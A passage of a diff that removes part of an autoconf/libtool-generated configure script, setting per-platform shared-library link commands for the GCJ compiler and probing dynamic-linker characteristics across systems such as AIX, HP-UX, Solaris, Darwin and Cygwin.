- archive_expsym_cmds_GCJ="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- amigaos*)
- archive_cmds_GCJ='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_minus_L_GCJ=yes
- # see comment about different semantics on the GNU ld section
- ld_shlibs_GCJ=no
- ;;
-
- bsdi[45]*)
- export_dynamic_flag_spec_GCJ=-rdynamic
- ;;
-
- cygwin* | mingw* | pw32*)
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
- hardcode_libdir_flag_spec_GCJ=' '
- allow_undefined_flag_GCJ=unsupported
- # Tell ltmain to make .lib files, not .a files.
- libext=lib
- # Tell ltmain to make .dll files, not .so files.
- shrext_cmds=".dll"
- # FIXME: Setting linknames here is a bad hack.
- archive_cmds_GCJ='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames='
- # The linker will automatically build a .lib file if we build a DLL.
- old_archive_From_new_cmds_GCJ='true'
- # FIXME: Should let the user specify the lib program.
- old_archive_cmds_GCJ='lib /OUT:$oldlib$oldobjs$old_deplibs'
- fix_srcfile_path_GCJ='`cygpath -w "$srcfile"`'
- enable_shared_with_static_runtimes_GCJ=yes
- ;;
-
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[012])
- allow_undefined_flag_GCJ='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- allow_undefined_flag_GCJ='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[012])
- allow_undefined_flag_GCJ='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- allow_undefined_flag_GCJ='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- archive_cmds_need_lc_GCJ=no
- hardcode_direct_GCJ=no
- hardcode_automatic_GCJ=yes
- hardcode_shlibpath_var_GCJ=unsupported
- whole_archive_flag_spec_GCJ=''
- link_all_deplibs_GCJ=yes
- if test "$GCC" = yes ; then
- output_verbose_link_cmd='echo'
- archive_cmds_GCJ='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- module_cmds_GCJ='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- archive_cmds_GCJ='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- module_cmds_GCJ='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- ld_shlibs_GCJ=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- freebsd1*)
- ld_shlibs_GCJ=no
- ;;
-
- # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor
- # support. Future versions do this automatically, but an explicit c++rt0.o
- # does not break anything, and helps significantly (at the cost of a little
- # extra space).
- freebsd2.2*)
- archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o'
- hardcode_libdir_flag_spec_GCJ='-R$libdir'
- hardcode_direct_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- # Unfortunately, older versions of FreeBSD 2 do not have this feature.
- freebsd2*)
- archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_GCJ=yes
- hardcode_minus_L_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | kfreebsd*-gnu | dragonfly*)
- archive_cmds_GCJ='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec_GCJ='-R$libdir'
- hardcode_direct_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- hpux9*)
- if test "$GCC" = yes; then
- archive_cmds_GCJ='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds_GCJ='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
- hardcode_libdir_flag_spec_GCJ='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
- hardcode_direct_GCJ=yes
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_GCJ=yes
- export_dynamic_flag_spec_GCJ='${wl}-E'
- ;;
-
- hpux10*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- archive_cmds_GCJ='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_GCJ='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec_GCJ='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
-
- hardcode_direct_GCJ=yes
- export_dynamic_flag_spec_GCJ='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_GCJ=yes
- fi
- ;;
-
- hpux11*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- case $host_cpu in
- hppa*64*)
- archive_cmds_GCJ='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds_GCJ='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_GCJ='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
- case $host_cpu in
- hppa*64*)
- archive_cmds_GCJ='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds_GCJ='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_GCJ='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec_GCJ='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_libdir_flag_spec_ld_GCJ='+b $libdir'
- hardcode_direct_GCJ=no
- hardcode_shlibpath_var_GCJ=no
- ;;
- *)
- hardcode_direct_GCJ=yes
- export_dynamic_flag_spec_GCJ='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_GCJ=yes
- ;;
- esac
- fi
- ;;
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- archive_cmds_GCJ='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec_ld_GCJ='-rpath $libdir'
- fi
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
- link_all_deplibs_GCJ=yes
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out
- else
- archive_cmds_GCJ='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF
- fi
- hardcode_libdir_flag_spec_GCJ='-R$libdir'
- hardcode_direct_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- newsos6)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_GCJ=yes
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- openbsd*)
- hardcode_direct_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- archive_cmds_GCJ='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols'
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_GCJ='${wl}-E'
- else
- case $host_os in
- openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*)
- archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_GCJ='-R$libdir'
- ;;
- *)
- archive_cmds_GCJ='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath,$libdir'
- ;;
- esac
- fi
- ;;
-
- os2*)
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_minus_L_GCJ=yes
- allow_undefined_flag_GCJ=unsupported
- archive_cmds_GCJ='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def'
- old_archive_From_new_cmds_GCJ='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def'
- ;;
-
- osf3*)
- if test "$GCC" = yes; then
- allow_undefined_flag_GCJ=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_GCJ='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- allow_undefined_flag_GCJ=' -expect_unresolved \*'
- archive_cmds_GCJ='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- fi
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
- ;;
-
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag_GCJ=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_GCJ='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag_GCJ=' -expect_unresolved \*'
- archive_cmds_GCJ='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds_GCJ='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~
- $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~$rm $lib.exp'
-
- # Both c and cxx compiler support -rpath directly
- hardcode_libdir_flag_spec_GCJ='-rpath $libdir'
- fi
- hardcode_libdir_separator_GCJ=:
- ;;
-
- solaris*)
- no_undefined_flag_GCJ=' -z text'
- if test "$GCC" = yes; then
- wlarc='${wl}'
- archive_cmds_GCJ='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp'
- else
- wlarc=''
- archive_cmds_GCJ='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags'
- archive_expsym_cmds_GCJ='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp'
- fi
- hardcode_libdir_flag_spec_GCJ='-R$libdir'
- hardcode_shlibpath_var_GCJ=no
- case $host_os in
- solaris2.[0-5] | solaris2.[0-5].*) ;;
- *)
- # The compiler driver will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl, iff we do not link with $LD.
- # Luckily, gcc supports the same syntax we need for Sun Studio.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- case $wlarc in
- '')
- whole_archive_flag_spec_GCJ='-z allextract$convenience -z defaultextract' ;;
- *)
- whole_archive_flag_spec_GCJ='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract' ;;
- esac ;;
- esac
- link_all_deplibs_GCJ=yes
- ;;
-
- sunos4*)
- if test "x$host_vendor" = xsequent; then
- # Use $CC to link under sequent, because it throws in some extra .o
- # files that make .init and .fini sections work.
- archive_cmds_GCJ='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_GCJ='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags'
- fi
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_direct_GCJ=yes
- hardcode_minus_L_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- sysv4)
- case $host_vendor in
- sni)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_GCJ=yes # is this really true???
- ;;
- siemens)
- ## LD is ld it makes a PLAMLIB
- ## CC just makes a GrossModule.
- archive_cmds_GCJ='$LD -G -o $lib $libobjs $deplibs $linker_flags'
- reload_cmds_GCJ='$CC -r -o $output$reload_objs'
- hardcode_direct_GCJ=no
- ;;
- motorola)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_GCJ=no #Motorola manual says yes, but my tests say they lie
- ;;
- esac
- runpath_var='LD_RUN_PATH'
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- sysv4.3*)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var_GCJ=no
- export_dynamic_flag_spec_GCJ='-Bexport'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var_GCJ=no
- runpath_var=LD_RUN_PATH
- hardcode_runpath_var=yes
- ld_shlibs_GCJ=yes
- fi
- ;;
-
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7*)
- no_undefined_flag_GCJ='${wl}-z,text'
- archive_cmds_need_lc_GCJ=no
- hardcode_shlibpath_var_GCJ=no
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds_GCJ='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_GCJ='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- no_undefined_flag_GCJ='${wl}-z,text'
- allow_undefined_flag_GCJ='${wl}-z,nodefs'
- archive_cmds_need_lc_GCJ=no
- hardcode_shlibpath_var_GCJ=no
- hardcode_libdir_flag_spec_GCJ='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- hardcode_libdir_separator_GCJ=':'
- link_all_deplibs_GCJ=yes
- export_dynamic_flag_spec_GCJ='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds_GCJ='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_GCJ='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- uts4*)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- *)
- ld_shlibs_GCJ=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_GCJ" >&5
-$as_echo "$ld_shlibs_GCJ" >&6; }
-test "$ld_shlibs_GCJ" = no && can_build_shared=no
-
-#
-# Do we need to explicitly link libc?
-#
-case "x$archive_cmds_need_lc_GCJ" in
-x|xyes)
- # Assume -lc should be added
- archive_cmds_need_lc_GCJ=yes
-
- if test "$enable_shared" = yes && test "$GCC" = yes; then
- case $archive_cmds_GCJ in
- *'~'*)
- # FIXME: we may have to deal with multi-command sequences.
- ;;
- '$CC '*)
- # Test whether the compiler implicitly links with -lc since on some
- # systems, -lgcc has to come before -lc. If gcc already passes -lc
- # to ld, don't add -lc before -lgcc.
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -lc should be explicitly linked in" >&5
-$as_echo_n "checking whether -lc should be explicitly linked in... " >&6; }
- $rm conftest*
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } 2>conftest.err; then
- soname=conftest
- lib=conftest
- libobjs=conftest.$ac_objext
- deplibs=
- wl=$lt_prog_compiler_wl_GCJ
- pic_flag=$lt_prog_compiler_pic_GCJ
- compiler_flags=-v
- linker_flags=-v
- verstring=
- output_objdir=.
- libname=conftest
- lt_save_allow_undefined_flag=$allow_undefined_flag_GCJ
- allow_undefined_flag_GCJ=
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$archive_cmds_GCJ 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\""; } >&5
- (eval $archive_cmds_GCJ 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }
- then
- archive_cmds_need_lc_GCJ=no
- else
- archive_cmds_need_lc_GCJ=yes
- fi
- allow_undefined_flag_GCJ=$lt_save_allow_undefined_flag
- else
- cat conftest.err 1>&5
- fi
- $rm conftest*
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $archive_cmds_need_lc_GCJ" >&5
-$as_echo "$archive_cmds_need_lc_GCJ" >&6; }
- ;;
- esac
- fi
- ;;
-esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking dynamic linker characteristics" >&5
-$as_echo_n "checking dynamic linker characteristics... " >&6; }
-library_names_spec=
-libname_spec='lib$name'
-soname_spec=
-shrext_cmds=".so"
-postinstall_cmds=
-postuninstall_cmds=
-finish_cmds=
-finish_eval=
-shlibpath_var=
-shlibpath_overrides_runpath=unknown
-version_type=none
-dynamic_linker="$host_os ld.so"
-sys_lib_dlsearch_path_spec="/lib /usr/lib"
-if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then
- # if the path contains ";" then we assume it to be the separator
- # otherwise default to the standard path separator (i.e. ":") - it is
- # assumed that no part of a normal pathname contains ";" but that should
- # okay in the real world where ";" in dirpaths is itself problematic.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
-else
- sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
-fi
-need_lib_prefix=unknown
-hardcode_into_libs=no
-
-# when you set need_version to no, make sure it does not cause -set_version
-# flags to be left without arguments
-need_version=unknown
-
-case $host_os in
-aix3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
- shlibpath_var=LIBPATH
-
- # AIX 3 has no versioning support, so we append a major version to the name.
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
-
-aix4* | aix5*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- hardcode_into_libs=yes
- if test "$host_cpu" = ia64; then
- # AIX 5 supports IA64
- library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- else
- # With GCC up to 2.95.x, collect2 would create an import file
- # for dependence libraries. The import file would start with
- # the line `#! .'. This would cause the generated library to
- # depend on `.', always an invalid library. This was fixed in
- # development snapshots of GCC prior to 3.0.
- case $host_os in
- aix4 | aix4.[01] | aix4.[01].*)
- if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
- echo ' yes '
- echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then
- :
- else
- can_build_shared=no
- fi
- ;;
- esac
- # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
- # soname into executable. Probably we can add versioning support to
- # collect2, so additional links can be useful in future.
- if test "$aix_use_runtimelinking" = yes; then
- # If using run time linking (on AIX 4.2 or later) use lib<name>.so
- # instead of lib<name>.a to let people know that these are not
- # typical AIX shared libraries.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- else
- # We preserve .a as extension for shared libraries through AIX4.2
- # and later when we are not doing run time linking.
- library_names_spec='${libname}${release}.a $libname.a'
- soname_spec='${libname}${release}${shared_ext}$major'
- fi
- shlibpath_var=LIBPATH
- fi
- ;;
-
-amigaos*)
- library_names_spec='$libname.ixlibrary $libname.a'
- # Create ${libname}_ixlibrary.a entries in /sys/libs.
- finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
- ;;
-
-beos*)
- library_names_spec='${libname}${shared_ext}'
- dynamic_linker="$host_os ld.so"
- shlibpath_var=LIBRARY_PATH
- ;;
-
-bsdi[45]*)
- version_type=linux
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
- sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
- # the default ld.so.conf also contains /usr/contrib/lib and
- # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
- # libtool to hard-code these into programs
- ;;
-
-cygwin* | mingw* | pw32*)
- version_type=windows
- shrext_cmds=".dll"
- need_version=no
- need_lib_prefix=no
-
- case $GCC,$host_os in
- yes,cygwin* | yes,mingw* | yes,pw32*)
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
- dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~
- dldir=$destdir/`dirname \$dlpath`~
- test -d \$dldir || mkdir -p \$dldir~
- $install_prog $dir/$dlname \$dldir/$dlname~
- chmod a+x \$dldir/$dlname'
- postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
- dlpath=$dir/\$dldll~
- $rm \$dlpath'
- shlibpath_overrides_runpath=yes
-
- case $host_os in
- cygwin*)
- # Cygwin DLLs use 'cyg' prefix rather than 'lib'
- soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
- ;;
- mingw*)
- # MinGW DLLs use traditional 'lib' prefix
- soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
